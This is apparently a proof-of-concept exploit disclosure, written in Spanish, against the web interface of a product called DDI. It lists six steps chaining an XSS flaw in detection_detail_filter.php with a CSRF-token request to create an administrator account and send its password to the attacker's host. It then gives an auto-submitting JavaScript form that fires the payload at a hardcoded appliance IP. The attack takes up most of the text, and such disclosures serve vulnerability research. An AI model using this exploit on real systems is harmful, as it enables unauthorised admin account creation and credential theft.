1. El usuario que ha iniciado sesión en la interfaz web de DDI es inducido a visitar una página web maliciosa.
2. Se ejecuta un script malicioso en esta página utilizando la vulnerabilidad XSS en /php/detection_detail_filter.php
3. El script obtiene el token CSRF mediante una solicitud PUT a /wsgi/csrf/get_token/
4. Luego utiliza el token obtenido de la respuesta a la solicitud anterior para agregar una cuenta con privilegios de administrador
5. La contraseña de la cuenta agregada se obtiene de la respuesta a la solicitud anterior.
6. La contraseña puede transferirse al host del atacante a través de una solicitud HTTP

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>